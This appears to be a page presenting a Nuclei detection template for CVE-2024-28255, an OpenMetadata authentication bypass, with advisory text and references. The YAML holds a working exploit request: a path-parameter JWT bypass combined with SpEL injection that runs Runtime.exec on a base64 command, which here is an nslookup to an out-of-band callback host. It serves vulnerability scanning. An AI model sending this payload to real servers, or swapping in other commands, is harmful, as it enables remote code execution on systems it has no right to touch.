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OpenMetadata - Authentication Bypass

ID: CVE-2024-28255

Severity: critical

Author: DhiyaneshDK,iamnooob

Tags: cve,cve2024,openmetadata,rce,auth-bypass

OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The JwtFilter handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request’s path is checked against this list. When the request’s path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111 will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the SecurityContext.getUserPrincipal() since it will return null and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as GHSL-2023-237.

id: CVE-2024-28255
info:
name: OpenMetadata - Authentication Bypass
author: DhiyaneshDK,iamnooob
severity: critical
description: |
OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The `JwtFilter` handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request's path is checked against this list. When the request's path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to `GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111` will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the `SecurityContext.getUserPrincipal()` since it will return `null` and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as `GHSL-2023-237`.
reference:
- https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L111
- https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L113
- https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-6wx7-qw5p-wh84
- https://nvd.nist.gov/vuln/detail/CVE-2024-28255
- https://github.com/wy876/wiki
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-28255
cwe-id: CWE-287
epss-score: 0.00087
epss-percentile: 0.36659
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:733091897
tags: cve,cve2024,openmetadata,rce,auth-bypass
variables:
callback: "{{interactsh-url}}"
cmd: "nslookup {{callback}}"
payload: '{{base64(cmd)}}'
http:
- raw:
- |
GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22{{payload}}%22))) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 400"
- "contains(interactsh_protocol, 'dns')"
- 'contains(body, "java.lang.Boolean")'
- 'contains(header, "application/json")'
condition: and
# digest: 490a0046304402201b0346e77b973f5802486eab3c46ffbe79326fa279bce698e730102fc04e0f8a0220332df00292be61d4c5af3d66e31e265e1250be264b0790e5b8b6dcd033e087f8:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-28255.yaml"

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